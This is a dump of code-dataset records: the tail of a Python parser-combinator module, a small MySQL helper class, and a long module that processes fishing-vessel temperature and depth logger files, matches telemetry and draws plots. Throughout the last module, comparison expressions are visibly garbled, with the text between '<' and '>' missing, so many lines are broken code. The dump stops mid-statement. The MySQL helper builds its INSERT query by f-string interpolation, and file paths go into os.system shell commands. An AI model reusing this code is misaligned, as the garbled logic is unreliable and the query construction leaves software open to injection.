parser.match(tokenizers, state)\n if result.status is Unmatched:\n return result\n\n # assert result.status is not FindLR\n\n if with_ and not with_(tokenizers, state):\n return Result.mismatched\n\n head: Named = rewrite(state) if rewrite else Named(name, result.value)\n # stack jumping\n while True:\n with state.leave_with_context_recovery():\n state.ctx = state.ctx.copy()\n res = stacked_func(head)\n if res.status is Unmatched:\n break\n\n # assert res.status is Matched\n head = rewrite(state) if rewrite else Named(name, res.value)\n result.value = head\n return result\n\n\n@data\nclass Composed(Parser, ConsInd, traits.Dense, traits.Im):\n And: lambda atoms: \"({})\".format(\" \".join(map(str, atoms)))\n Or: lambda ands: \"({})\".format(\" | \".join(map(str, ands)))\n Seq: lambda parser, least, most: f'({parser}){{{least} {most}}}'\n Jump: lambda switch_cases: \"{{{}}}\".format(\n ', '.join(f\"({case.__repr__()} => {parser})\" for case, parser in switch_cases.items()))\n\n AnyNot: lambda which: f'not {which}'\n\n def __str__(self):\n return self.__inst_str__\n\n @Pattern\n def match(self, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n return self[0]\n\n\n@Composed.match.case(Composed.AnyNot)\ndef _not_match(self: Composed, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n which = self[1]\n history = state.commit()\n if which.match(tokenizers, state).status is Unmatched:\n state.reset(history)\n try:\n token = tokenizers[state.end_index]\n except IndexError:\n return Result.mismatched\n state.new_one()\n return Result.match(token)\n state.reset(history)\n return Result.mismatched\n\n\n@Composed.match.case(Composed.And)\ndef _and_match(self: Composed, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n atoms: List[Atom] = self[1]\n history = state.commit()\n nested = Nested()\n nested_extend = nested.extend\n nested_append = nested.append\n # no tco here, so I have to repeat myself.\n for i in range(len(atoms)):\n atom = atoms[i]\n each_result = atom.match(tokenizers, state)\n if each_result.status is Unmatched:\n state.reset(history)\n return Result.mismatched\n elif each_result.status is Matched:\n each_value = each_result.value\n if each_value.__class__ is Nested:\n nested_extend(each_value)\n else:\n nested_append(each_value)\n continue\n else:\n stacked_func: LRFunc = each_result.value\n\n def stacked_func_(ast: AST):\n stacked_result: Result = stacked_func(ast)\n if stacked_result.status is Matched:\n stacked_value = stacked_result.value\n stacked_nested = nested.copy()\n _append = stacked_nested.append\n _extend = stacked_nested.extend\n\n if stacked_value.__class__ is Nested:\n _extend(stacked_value)\n else:\n _append(stacked_value)\n\n for j in range(i + 1, len(atoms)):\n atom_ = atoms[j]\n each_result_ = atom_.match(tokenizers, state)\n\n if each_result_.status is Matched:\n each_value_ = each_result_.value\n if each_value_.__class__ is Nested:\n _extend(each_value_)\n else:\n _append(each_value_)\n continue\n return Result.mismatched\n\n return Result.match(stacked_nested)\n return stacked_result\n\n return Result.find_lr(stacked_func_)\n\n return Result(Matched, nested)\n\n\n@Composed.match.case(Composed.Or)\ndef _or_match(self: Composed, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n ors: Sequence[Composed] = self[1]\n history = state.commit()\n for or_ in ors:\n result = or_.match(tokenizers, state)\n if result.status is not Unmatched:\n return result\n\n state.reset(history)\n continue\n return Result.mismatched\n\n\n@Composed.match.case(Composed.Seq)\ndef _seq_match(self: Composed, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n FINISH = 0\n CONTINUE = 1\n FAIL = 2\n\n _, parser, least, most = self\n history = state.commit()\n nested = Nested()\n\n def foreach(times: int, _extend_fn, _append_fn):\n if times == most:\n return FINISH\n sub_res: Result = parser.match(tokenizers, state)\n if sub_res.status is Unmatched:\n if times >= least:\n return FINISH\n return FAIL\n elif sub_res.status is FindLR:\n if least is 0:\n warn(f\"Left recursion supporting is ambiguous with repeatable parser({self}) that which couldn't fail.\")\n return FAIL\n return sub_res.value\n\n sub_value = sub_res.value\n if sub_value.__class__ is Nested:\n _extend_fn(sub_value)\n else:\n _append_fn(sub_value)\n return CONTINUE\n\n now = 0\n while True:\n status = foreach(now, nested.extend, nested.append)\n if status is CONTINUE:\n now += 1\n continue\n elif status is FINISH:\n return Result(Matched, nested)\n\n elif status is FAIL:\n state.reset(history)\n return Result.mismatched\n\n stacked_func = status\n\n def stacked_func_(ast: AST):\n now_ = now\n parsed_ = nested.copy()\n res: Result = stacked_func(ast)\n\n if res.status is Unmatched:\n return Result.mismatched if now_ < least else Result.match(parsed_)\n\n now_ += 1\n while True:\n status_ = foreach(now_, parsed_.extend, parsed_.append)\n if status_ is FINISH:\n return Result.match(parsed_)\n elif status_ is CONTINUE:\n now_ += 1\n continue\n return Result.mismatched\n\n return Result.find_lr(stacked_func_)\n\n\n@Composed.match.case(Composed.Jump)\ndef _jump_match(self: Composed, tokenizers: Sequence[Tokenizer], state: State) -> Result:\n parser_dict: Dict[str, Parser] = self[1]\n\n try:\n token = tokenizers[state.end_index]\n except IndexError:\n return Result.mismatched\n\n parser = parser_dict.get(token.value)\n if not parser:\n return Result.mismatched\n history = state.commit()\n state.new_one()\n result = parser.match(tokenizers, state)\n if result.status is Status.Unmatched:\n state.reset(history)\n return result\n","sub_path":"rbnf/ParserC.py","file_name":"ParserC.py","file_ext":"py","file_size_in_byte":13481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"490976251","text":"import mysql.connector\nfrom db_config import db_config\n\nclass DBManager():\n\n def __init__(self):\n \n self.cnx = mysql.connector.connect(**db_config)\n self.cursor = self.cnx.cursor()\n\n print(\"Connected to database\")\n\n def execute(self, query):\n \n self.cursor.execute(query)\n\n def query(self, query):\n\n self.execute(query)\n\n return self.cursor.fetchall()\n\n def setup_table(self):\n self.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS most_popular \n (\n timestamp DATETIME NOT NULL, \n name VARCHAR(30) NOT NULL,\n source VARCHAR(10) NOT NULL\n )\n \"\"\")\n\n print(\"DB table is up and ready\")\n \n def insert_data(self, timestamp, name, source):\n\n sql = f\"\"\"\n INSERT INTO most_popular \n (timestamp, name, source) \n VALUES ('{timestamp}', '{name}', '{source}')\n \"\"\"\n\n self.execute( sql )\n # print( sql )\n\n","sub_path":"db_manager.py","file_name":"db_manager.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"110860920","text":"\n\"\"\"\nCreated on Wed Oct 3 12:39:15 2018\nupdate 2/21 2019\nupdate some the draw_time_series_plot fix the label of y axis\n@author: leizhao\n\"\"\"\nimport conversions as cv\nimport ftplib\nimport glob\nimport matplotlib.pyplot as plt\nimport os\nimport pandas as pd\nimport numpy as np\nimport sys\nimport zlconversions as zl\nfrom datetime import datetime,timedelta\nfrom pylab import mean, std\nimport conda\nconda_file_dir = conda.__file__\nconda_dir = conda_file_dir.split('lib')[0]\nproj_lib = os.path.join(os.path.join(conda_dir, 'share'), 'proj')\nos.environ[\"PROJ_LIB\"] = proj_lib\nfrom mpl_toolkits.basemap import Basemap\nimport time\nimport doppio_modules as dpo\nimport gomofs_modules as gmf\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\n#HARDCODES\n\n \ndef check_reformat_data(input_dir,output_dir,telemetry_status_file,raw_data_name_file,Lowell_SN_2='7a',similarity=0.7,mindepth=10):\n \"\"\"\n check reformat of data\n check:vessel name,vessel number,serial number, lat,lon\n add VP_NUM\n if the file is test file, continue next file\n \"\"\"\n #read the file of the vessel_number\n telemetrystatus_df=read_telemetrystatus(telemetry_status_file)\n raw_data_name_df=pd.read_csv(raw_data_name_file,sep='\\t') \n\n #produce a dataframe that use to caculate the number of items\n total_df=pd.concat([telemetrystatus_df.loc[:,['Boat']][:],pd.DataFrame(data=[['Total']],columns=['Boat'])],ignore_index=True)\n total_df.insert(1,'file_total',0)\n #get all the files under the input folder\n #screen out the file of '.csv',and put the path+name in the fil_lists\n allfile_lists=zl.list_all_files(input_dir)\n file_lists=[]\n for file in allfile_lists:\n if file[len(file)-4:]=='.csv':\n file_lists.append(file)\n\n #start check the data and save in the output_dir\n for file in file_lists:\n fpath,fname=os.path.split(file) #get the file's path and name\n #fix the file name\n fname=file.split('/')[len(file.split('/'))-1]\n if len(fname.split('_')[1])==2:# if the serieal number is only 2 digits make it 4\n new_fname=fname[:3]+Lowell_SN_2+fname[3:]\n else:\n new_fname=fname\n # now, read header and data\n try:\n df_head=zl.nrows_len_to(file,2,name=['key','value'])\n df=zl.skip_len_to(file,2) #data\n except:\n print(\"unvaluable file:\"+file)\n continue\n #the standard data have 6 columns, sometimes the data possible lack of the column of the HEADING.If lack, fixed it\n if len(df.iloc[0])==5: # some files didn't have the \"DATA\" in the first column\n df.insert(0,'HEADING','DATA')\n df.columns = ['HEADING','Datet(GMT)','Lat','Lon','Temperature(C)','Depth(m)'] #rename the name of conlum of data\n \n #check if the data is the test data; Is the vessel number right?(test data's vessel number is 99)\n df['Depth(m)'] = df['Depth(m)'].map(lambda x: '{0:.2f}'.format(float(x))) #keep two decimal fraction\n df['Temperature(C)'] = df['Temperature(C)'].map(lambda x: '{0:.2f}'.format(float(x)))\n #keep the lat and lon data format is right,such as 00000.0000w to 0000.0000\n df['Lon'] = df['Lon'].map(lambda x: '{0:.4f}'.format(float(format_lat_lon(x))))\n df['Lat'] = df['Lat'].map(lambda x: '{0:.4f}'.format(float(format_lat_lon(x))))#keep four decimal fraction\n datacheck,count=1,0\n for i in range(len(df['Depth(m)'])): #the value of count is 0 if the data is test data\n count=count+(float(df['Depth(m)'][i])>mindepth)# keep track of # of depths>mindepth\n if count>5:\n if count==i+1:\n print('please change the file:'+file+' make sure the logger is work well!' )\n datacheck=0\n break\n if datacheck==0:\n continue\n vessel_name=fpath.split('/')[len(fpath.split('/'))-1:][0] #get the vessel name\n for j in range(len(df_head)):\n if df_head['key'][j].lower()=='Vessel Number'.lower():\n LOC_V_number=j\n #check and fix the vessel number \n if count!=0: \n for i in range(len(telemetrystatus_df)):\n if telemetrystatus_df['Vessel#'][i]==vessel_name:\n df_head['value'][j]=str(telemetrystatus_df['Vessel#'][i])\n break\n else:\n continue\n else: \n df_head['value'][j]='99' #the value of the vessel number is 99 if the data is test data\n break\n \n if df_head['value'][LOC_V_number]=='99':\n df_head=df_head.replace(vessel_name,'Test')\n print (\"test file:\"+file)#if the file is test file,print it\n continue\n #check the header file whether exist or right,if not,repair it\n header_file_fixed_key=['Date Format','Time Format','Temperature','Depth'] \n header_file_fixed_value=['YYYY-MM-DD','HH24:MI:SS','C','m']\n loc=0\n EXIST=0\n for fixed_t in header_file_fixed_key:\n for k in range(len(df_head['key'])):\n if fixed_t.lower()==df_head['key'][k].lower():\n break\n else:\n EXIST=1\n count=k+1\n if EXIST==1:\n df_head=pd.concat([df_head[:count],pd.DataFrame(data=[[fixed_t,header_file_fixed_value[loc]]],columns=['key','value'])],ignore_index=True)\n loc=loc+1 \n #caculate the number of every vessel and boat files\n for i in range(len(total_df['Boat'])):\n if total_df['Boat'][i].lower()==vessel_name.lower():\n total_df['file_total'][i]=total_df['file_total'][i]+1\n\n #if the vessel name and serial number are exist, find the location of them \n vessel_name_EXIST=0 \n S_number_EXIST=0 \n for k in range(len(df_head['key'])): \n if df_head['key'][k].lower()=='Vessel Name'.lower():\n vessel_name_EXIST=1\n df_head['value'][k]=vessel_name\n if df_head['key'][k].lower()=='Serial Number'.lower():\n if len(df_head['value'][k].split(':'))>1:\n df_head['value'][k]=df_head['value'][k].replace(':','')\n S_number_EXIST=1\n #check and fix the vessel name and serial number \n if S_number_EXIST==0:\n df_head=pd.concat([df_head[:1],pd.DataFrame(data=[['Serial Number',new_fname.split('_')[1]]],columns=['key','value']),df_head[1:]],ignore_index=True)\n if vessel_name_EXIST==0:#\n df_head=pd.concat([df_head[:2],pd.DataFrame(data=[['Vessel Name',vessel_name]],columns=['key','value']),df_head[2:]],ignore_index=True)\n for i in range(len(df_head['key'])):\n if df_head['key'][i].lower()=='Vessel Number'.lower():\n loc_vp_header=i+1\n break\n for i in range(len(raw_data_name_df['VESSEL_NAME'])):\n ratio=zl.str_similarity_ratio(vessel_name.lower(),raw_data_name_df['VESSEL_NAME'][i].lower())\n ratio_best=0\n if ratio>similarity:\n if ratio>ratio_best:\n ratio_best=ratio\n loc_vp_file=i\n df_head=pd.concat([df_head[:loc_vp_header],pd.DataFrame(data=[['VP_NUM',raw_data_name_df['VP_NUM'][loc_vp_file]]],columns=['key','value']),df_head[loc_vp_header:]],ignore_index=True)\n #creat the path and name of the new_file and the temperature file \n output_path=fpath.replace(input_dir,output_dir)\n if not os.path.exists(output_path): #check the path of the save file is exist,make it if not\n os.makedirs(output_path)\n df_head.to_csv(output_path+'/'+new_fname,index=0,header=0)\n df.to_csv(output_path+'/df_tem.csv',index=0) #produce the temperature file \n #add the two file in one file and delet the temperature file\n os.system('cat '+output_path+'/df_tem.csv'+' >> '+output_path+'/'+new_fname)\n os.remove(output_path+'/df_tem.csv')\n# #caculate the total of all files and print save as a file.\n try:\n for i in range(len(total_df)-1):\n total_df['file_total'][len(total_df)-1]=total_df['file_total'][len(total_df)-1]+total_df['file_total'][i]\n total_df.to_csv(output_dir+'/items_number.txt',index=0)\n except:\n print(\"no valuable file!\")\n\ndef classify_by_boat(input_dir,output_dir,telemetry_status_path_name):\n \"\"\"\n this code used to know which boat get the data\n and put the data file to the right folder\n notice:this code is suitable for matching data after 2000\n \"\"\"\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n if os.listdir(output_dir):\n print ('please input a empty directory!')\n sys.exit()\n #read the file of the telementry_status\n df=read_telemetrystatus(telemetry_status_path_name)\n\n #fix the format of time about logger_change\n for i in range(len(df)):\n if df['logger_change'].isnull()[i]:\n continue\n else:\n date_logger_change=df['logger_change'][i].split(',') #get the time data of the logger_change\n for j in range(0,len(date_logger_change)):\n if len(date_logger_change[j])>4: #keep the date have the month and year such as 1/17\n date_logger_change[j]=zl.transform_date(date_logger_change[j]) #use the transform_date(date) to fix the date\n df['logger_change'][i]=date_logger_change\n \n #get the path and name of the file that need to match\n file_lists=glob.glob(os.path.join(input_dir,'*.csv'))\n #match the file \n for file in file_lists:\n #time conversion, GMT time to local time\n time_str=file.split('/')[len(file.split('/'))-1:][0].split('.')[0].split('_')[2]+' '+file.split('/')[len(file.split('/'))-1:][0].split('.')[0].split('_')[3]\n #GMT time to local time of file\n time_local=zl.gmt_to_eastern(time_str[0:4]+'-'+time_str[4:6]+'-'+time_str[6:8]+' '+time_str[9:11]+':'+time_str[11:13]+':'+time_str[13:15]).strftime(\"%Y%m%d\")\n #math the SN and date\n for i in range(len(df['Lowell-SN'])):\n if df['Lowell-SN'].isnull()[i] or df['logger_change'].isnull()[i]: #we will enter the next line if SN or date is not exist \n continue\n else:\n for j in range(len(df['Lowell-SN'][i].split(','))): \n fname_len_SN=len(file.split('/')[len(file.split('/'))-1:][0].split('_')[1]) #the length of SN in the file name\n len_SN=len(df['Lowell-SN'][i].split(',')[j]) #the length of SN in the culumn of the Lowell-SN inthe file of the telemetry_status.csv\n if df['Lowell-SN'][i].split(',')[j][len_SN-fname_len_SN:]==file.split('/')[len(file.split('/'))-1:][0].split('_')[1]:\n fpath,fname=os.path.split(file) #seperate the path and name of the file\n dstfile=(fpath).replace(input_dir,output_dir+'/'+df['Boat'][i]+'/'+fname) #produce the path+filename of the destination\n dstfile=dstfile.replace('//','/')\n #copy the file to the destination folder\n try:\n# if len(df['Lowell-SN'][i].split(','))0.85*mean(data_df['Depth(m)']))] #filter the data\n value_data_df=value_data_df.ix[2:] #delay several minutes to let temperature sensor record the real bottom temp\n value_data_df=value_data_df.ix[(value_data_df['Temperature(C)']>mean(value_data_df['Temperature(C)'])-3*std(value_data_df['Temperature(C)'])) & \\\n (value_data_df['Temperature(C)']min_lat:\n record_file_df['min_lat'][i]=min_lat\n if record_file_df['max_lat'][i]min_lon:\n record_file_df['min_lon'][i]=min_lon\n if record_file_df['max_lon'][i]valuable_tele_df['lat'][i]:\n record_file_df['min_lat'][j]=valuable_tele_df['lat'][i]\n if record_file_df['max_lat'][j]valuable_tele_df['lon'][i]:\n record_file_df['min_lon'][j]=valuable_tele_df['lon'][i]\n if record_file_df['max_lon'][j]0 and len(tele_dict)>0:\n tele_dict['mean_depth']=-1*tele_dict['mean_depth']\n raw_dict['mean_depth']=-1*raw_dict['mean_depth']\n ax1.plot_date(raw_dict['time'],raw_dict['mean_temp'],linestyle='-',alpha=0.5,label='raw_data',marker='d')\n ax1.plot_date(tele_dict['time'],tele_dict['mean_temp'],linestyle='-',alpha=0.5,label='telemetry',marker='^')\n if record_file['matched_number']!=0:\n ax1.set_title('temperature differences of min:'+str(round(record_file['min_diff_temp'],2))+' max:'+str(round(record_file['max_diff_temp'],2))+\\\n ' average:'+str(round(record_file['average_diff_temp'],3)))\n ax2.plot_date(raw_dict['time'],raw_dict['mean_depth'],linestyle='-',alpha=0.5,label='raw_data',marker='d')\n ax2.plot_date(tele_dict['time'],tele_dict['mean_depth'],linestyle='-',alpha=0.5,label='telemetry',marker='^')\n if record_file['matched_number']!=0:\n ax2.set_title('depth differences of min:'+str(round(record_file['min_diff_depth'],2))+' max:'+str(round(record_file['max_diff_depth'],2))+\\\n ' average:'+str(round(record_file['average_diff_depth'],3)))\n max_temp=max(np.nanmax(raw_dict['mean_temp'].values),np.nanmax(tele_dict['mean_temp'].values))\n min_temp=min(np.nanmin(raw_dict['mean_temp'].values),np.nanmin(tele_dict['mean_temp'].values))\n max_depth=max(np.nanmax(raw_dict['mean_depth'].values),np.nanmax(tele_dict['mean_depth'].values))\n min_depth=min(np.nanmin(raw_dict['mean_depth'].values),np.nanmin(tele_dict['mean_depth'].values))\n else:\n labels='raw_data'\n markers='d'\n if len(tele_dict)>0:\n raw_dict=tele_dict\n labels='telemetered'\n markers='^' \n raw_dict['mean_depth']=-1*raw_dict['mean_depth']\n ax2.plot_date(raw_dict['time'],raw_dict['mean_depth'],linestyle='-',alpha=0.5,label=labels,marker=markers)\n ax1.plot_date(raw_dict['time'],raw_dict['mean_temp'],linestyle='-',alpha=0.5,label=labels,marker=markers) \n max_temp=np.nanmax(raw_dict['mean_temp'].values)\n min_temp=np.nanmin(raw_dict['mean_temp'].values)\n max_depth=np.nanmax(raw_dict['mean_depth'].values)\n min_depth=np.nanmin(raw_dict['mean_depth'].values)\n diff_temp=max_temp-min_temp\n diff_depth=max_depth-min_depth\n if diff_temp==0:\n textend_lim=0.1\n else:\n textend_lim=diff_temp/8.0\n if diff_depth==0:\n dextend_lim=0.1\n else:\n dextend_lim=diff_depth/8.0 \n ax2.legend()\n ax2.set_ylabel('depth(m)',fontsize=8)\n ax2.set_ylim(min_depth-dextend_lim,max_depth+dextend_lim)\n ax2.axes.title.set_size(8)\n ax2.set_xlim(start_time_local,end_time_local)\n ax2.tick_params(labelsize=6)\n ax22=ax2.twinx()\n ax22.set_ylabel('depth(feet)',fontsize=8)\n ax22.set_ylim((max_depth+dextend_lim)*3.28084,(min_depth-dextend_lim)*3.28084)\n ax22.invert_yaxis()\n ax22.tick_params(labelsize=6)\n ax1.legend()\n ax1.set_ylabel('Celius',fontsize=8) \n ax1.set_ylim(min_temp-textend_lim,max_temp+textend_lim)\n ax1.axes.title.set_size(8)\n ax1.set_xlim(start_time_local,end_time_local)\n ax1.axes.get_xaxis().set_visible(False)\n ax1.tick_params(labelsize=6)\n ax12=ax1.twinx()\n ax12.set_ylabel('Fahrenheit',fontsize=10)\n #conversing the Celius to Fahrenheit\n ax12.set_ylim((max_temp+textend_lim)*1.8+32,(min_temp-textend_lim)*1.8+32)\n ax12.invert_yaxis()\n ax12.tick_params(labelsize=6)\n \n if not os.path.exists(path_picture_save+'/picture/'+name+'/'):\n os.makedirs(path_picture_save+'/picture/'+name+'/')\n plt.savefig(path_picture_save+'/picture/'+name+'/'+start_time_local.strftime('%Y-%m-%d')+'_'+end_time_local.strftime('%Y-%m-%d')+'.png',dpi=dpi)\n \ndef draw_time_series_plot3(raw_dict,tele_dict,name,start_time,end_time,path_picture_save,record_file,dpi=300,mindepth=10): \n \"\"\"\n if don't want to report the record file, let the record_file=False\n use to draw time series plot \"\"\"\n for i in range(len(raw_dict)):\n if type(raw_dict['time'][i])==str:\n raw_dict['time'][i]=datetime.strptime(raw_dict['time'][i],'%Y-%m-%d %H:%M:%S')\n if start_time<=raw_dict['time'][i]<=end_time:\n continue\n else:\n raw_dict=raw_dict.drop(i)\n raw_dict.index=range(len(raw_dict))\n for i in range(len(tele_dict)):\n if type(tele_dict['time'][i])==str:\n tele_dict['time'][i]=datetime.strptime(tele_dict['time'][i],'%Y-%m-%d %H:%M:%S')\n if start_time<=tele_dict['time'][i]<=end_time:\n continue\n else:\n tele_dict=tele_dict.drop(i)\n tele_dict.index=range(len(tele_dict))\n if len(tele_dict)>0: \n for i in range(len(tele_dict)):\n if abs(tele_dict['mean_depth'][i])0:\n if raw_dict['mean_depth'][0]>0: \n raw_dict[['mean_depth','doppio_depth','gomofs_depth']]=-1*raw_dict[['mean_depth','doppio_depth','gomofs_depth']] \n if len(tele_dict)>0:\n if tele_dict['mean_depth'][0]>0:\n tele_dict[['mean_depth','doppio_depth','gomofs_depth']]=-1*tele_dict[['mean_depth','doppio_depth','gomofs_depth']]\n fig=plt.figure(figsize=(14,14))\n size=min(fig.get_size_inches()) \n try:\n fig.suptitle(name+'\\n'+'matches:'+str(int(record_file['matched_number']))+' telemetered:'+\\\n str(int(record_file['tele_num']))+' raw_data_uploaded:'+str(int(record_file['file_number'])),fontsize=2*min(fig.get_size_inches()), fontweight='bold')\n except:\n fig.suptitle(name,fontsize=2*size, fontweight='bold')\n if len(raw_dict)>0 and len(tele_dict)>0:\n ax1=fig.add_axes([0.1, 0.70, 0.8,0.16])\n ax2=fig.add_axes([0.1, 0.52, 0.8,0.16])\n ax3=fig.add_axes([0.1, 0.28, 0.8,0.16])\n ax4=fig.add_axes([0.1, 0.1, 0.8,0.16])\n time_series_plot(raw_dict,ax1,ax2,start_time,end_time,size,dictlabel='Raw_data')\n time_series_plot(tele_dict,ax3,ax4,start_time,end_time,size,dictlabel='Telemetered')\n elif len(raw_dict)==0 and len(tele_dict)==0:\n print(name+': no data of telemetered and raw_data')\n else:\n fig=plt.figure(figsize=(14,8))\n size=max(fig.get_size_inches())\n fig.suptitle(name,fontsize=2*size, fontweight='bold')\n ax1=fig.add_axes([0.1, 0.5, 0.8,0.32])\n ax2=fig.add_axes([0.1, 0.1, 0.8,0.32])\n if len(raw_dict)>0:\n time_series_plot(raw_dict,ax1,ax2,start_time,end_time,size,dictlabel='Raw_data')\n else:\n time_series_plot(tele_dict,ax1,ax2,start_time,end_time,size,dictlabel='Telemetered')\n \n if not os.path.exists(path_picture_save+'/picture/'+name+'/'):\n os.makedirs(path_picture_save+'/picture/'+name+'/')\n plt.savefig(path_picture_save+'/picture/'+name+'/'+start_time.strftime('%Y-%m-%d %H:%M:%S')+'_'+end_time.strftime('%Y-%m-%d %H:%M:%S')+'test.png',dpi=dpi)\n\n\ndef draw_map(raw_dict,tele_dict,name,start_time_local,end_time_local,path_picture_save,record_file,dpi=300):\n \"\"\"\n the type of start_time_local and end time_local is datetime.datetime\n use to draw the location of raw file and telemetered produced\"\"\"\n #creat map\n #Create a blank canvas \n fig=plt.figure(figsize=(8,8.5))\n fig.suptitle('F/V '+name,fontsize=24, fontweight='bold')\n if len(raw_dict)>0 and len(tele_dict)>0:\n start_time=min(raw_dict['time'][0],tele_dict['time'][0])\n end_time=max(raw_dict['time'][len(raw_dict)-1],tele_dict['time'][len(tele_dict)-1])\n elif len(raw_dict)>0:\n start_time=raw_dict['time'][0]\n end_time=raw_dict['time'][len(raw_dict)-1]\n else:\n start_time=tele_dict['time'][0]\n end_time=tele_dict['time'][len(tele_dict)-1]\n if type(start_time)!=str:\n start_time=start_time.strftime('%Y-%m-%d')\n end_time=end_time.strftime('%Y-%m-%d')\n ax=fig.add_axes([0.02,0.02,0.9,0.9])\n ax.set_title(start_time+'-'+end_time)\n ax.axes.title.set_size(16)\n \n min_lat=record_file['min_lat']\n max_lat=record_file['max_lat']\n max_lon=record_file['max_lon']\n min_lon=record_file['min_lon']\n #keep the max_lon-min_lon>=2\n if (max_lon-min_lon)<=2:\n max_lon=1-(max_lon-min_lon)/2.0+(max_lon+min_lon)/2.0\n min_lon=max_lon-2\n #adjust the max and min,let map have the same width and height \n if (max_lon-min_lon)>(max_lat-min_lat):\n max_lat=max_lat+((max_lon-min_lon)-(max_lat-min_lat))/2.0\n min_lat=min_lat-((max_lon-min_lon)-(max_lat-min_lat))/2.0\n else:\n max_lon=max_lon+((max_lat-min_lat)-(max_lon-min_lon))/2.0\n min_lon=min_lon-((max_lat-min_lat)-(max_lon-min_lon))/2.0\n #if there only one data in there\n while(not zl.isConnected()):\n time.sleep(120)\n try:\n service = 'Ocean_Basemap'\n xpixels = 5000 \n #Build a map background\n map=Basemap(projection='mill',llcrnrlat=min_lat-0.1,urcrnrlat=max_lat+0.1,llcrnrlon=min_lon-0.1,urcrnrlon=max_lon+0.1,\\\n resolution='f',lat_0=(record_file['min_lat']+record_file['max_lat'])/2.0,lon_0=(record_file['max_lon']+record_file['min_lon'])/2.0,epsg = 4269)\n map.arcgisimage(service=service, xpixels = xpixels, verbose= False)\n if max_lat-min_lat>=3:\n step=int((max_lat-min_lat)/5.0*10)/10.0\n else:\n step=0.5\n \n # draw parallels.\n parallels = np.arange(0.,90.0,step)\n map.drawparallels(parallels,labels=[0,1,0,0],fontsize=10,linewidth=0.0)\n # draw meridians\n meridians = np.arange(180.,360.,step)\n map.drawmeridians(meridians,labels=[0,0,0,1],fontsize=10,linewidth=0.0)\n \n #Draw a scatter plot\n if len(raw_dict)>0 and len(raw_dict)>0:\n raw_lat,raw_lon=to_list(raw_dict['mean_lat'],raw_dict['mean_lon'])\n raw_x,raw_y=map(raw_lon,raw_lat)\n ax.plot(raw_x,raw_y,'ro',markersize=6,alpha=0.5,label='raw_data')\n tele_lat,tele_lon=to_list(tele_dict['mean_lat'],tele_dict['mean_lon'])\n tele_x,tele_y=map(tele_lon,tele_lat)\n ax.plot(tele_x,tele_y,'b*',markersize=6,alpha=0.5,label='telemetry')\n ax.legend()\n else:\n if len(raw_dict)>0:\n raw_lat,raw_lon=to_list(raw_dict['mean_lat'],raw_dict['mean_lon'])\n raw_x,raw_y=map(raw_lon,raw_lat)\n ax.plot(raw_x,raw_y,'ro',markersize=6,alpha=0.5,label='raw_data')\n ax.legend()\n else:\n tele_lat,tele_lon=to_list(tele_dict['mean_lat'],tele_dict['mean_lon'])\n tele_x,tele_y=map(tele_lon,tele_lat)\n ax.plot(tele_x,tele_y,'b*',markersize=6,alpha=0.5,label='telemetry')\n ax.legend()\n \n if not os.path.exists(path_picture_save+'/picture/'+name+'/'):\n os.makedirs(path_picture_save+'/picture/'+name+'/')\n plt.savefig(path_picture_save+'/picture/'+name+'/'+'location'+'_'+start_time_local.strftime('%Y-%m-%d')+'_'+end_time_local.strftime('%Y-%m-%d')+'.png',dpi=dpi)\n print(name+' finished draw!')\n except:\n print(name+' need redraw!')\n \ndef format_lat_lon(data):\n \"\"\"fix the data of lat and lon\"\"\"\n if len(str(data).split('.')[0])>4 or 'A'<=str(data).split('.')[1][len(str(data).split('.')[1])-1:]<='Z':\n data=str(data).split('.')[0][len(str(data).split('.')[0])-4:]+'.'+str(data).split('.')[1][:4]\n return data\n\n#def insert_doppio_gomofs_data(dict,index,dictionary_path='/home/jmanning/Desktop/test/dgdata.p',delta=20,diff_distance=2):\ndef insert_doppio_gomofs_data(dict,dictionary_path='/home/jmanning/Desktop/test/dgdata.p',delta=20,diff_distance=2,module_index=['doppio','gomofs']):\n '''\n input a dict, according the lat, lon, time in dict to insert values frome doppio and gomofs\n '''\n index=dict.keys()\n if not os.path.exists(dictionary_path):\n modules_data={}\n for i in index:\n modules_data[str(i)]={}\n for j in module_index:\n modules_data[str(i)][j]={}\n else:\n #pickle load\n with open(dictionary_path, 'rb') as fp:\n modules_data = pickle.load(fp)\n for i in index:\n i=str(i)\n dict[i].insert(0,'doppio_temp',np.nan)\n dict[i].insert(0,'gomofs_temp',np.nan)\n dict[i].insert(0,'doppio_depth',np.nan)\n dict[i].insert(0,'gomofs_depth',np.nan)\n \n if len(dict[i])==0:\n continue\n if i not in modules_data:\n modules_data[i]={}\n for j in module_index: #\n if j not in modules_data[i]:\n modules_data[i][j]={}\n for k in range(len(dict[i]['doppio_temp'])):\n if type(dict[i]['time'][k])==str:\n utc_time=datetime.strptime(dict[i]['time'][k],'%Y-%m-%d %H:%M:%S')\n utc_time_str=utc_time.strftime('%Y-%m-%d %H:%M:%S')\n else:\n utc_time=dict[i]['time'][k]\n utc_time_str=utc_time.strftime('%Y-%m-%d %H:%M:%S')\n #the part of caculate the doppio temperature and depth\n if utc_time_str[:7] not in modules_data[i]['doppio']:\n modules_data[i]['doppio'][utc_time_str[:7]]=pd.DataFrame(data=None,columns=['time','lat','lon','temperature','depth'])\n recalculate=0\n try:\n for l in range(len(modules_data[i]['doppio'][utc_time_str[:7]])):\n data=modules_data[i]['doppio'][utc_time_str[:7]][l] \n if abs(utc_time-datetime.strptime(data['time'],'%Y-%m-%d %H:%M:%S'))0.85*mean(data_df['Depth(m)']))] #filter the data\n value_data_df=value_data_df.ix[2:] #delay several minutes to let temperature sensor record the real bottom temp\n value_data_df=value_data_df.ix[(value_data_df['Temperature(C)']>mean(value_data_df['Temperature(C)'])-3*std(value_data_df['Temperature(C)'])) & \\\n (value_data_df['Temperature(C)']min_lat:\n record_file_df['min_lat'][i]=min_lat\n if record_file_df['max_lat'][i]min_lon:\n record_file_df['min_lon'][i]=min_lon\n if record_file_df['max_lon'][i]diff_degree or abs(float(valuable_tele_df['lon'][i])-lon)>diff_degree:\n continue\n if 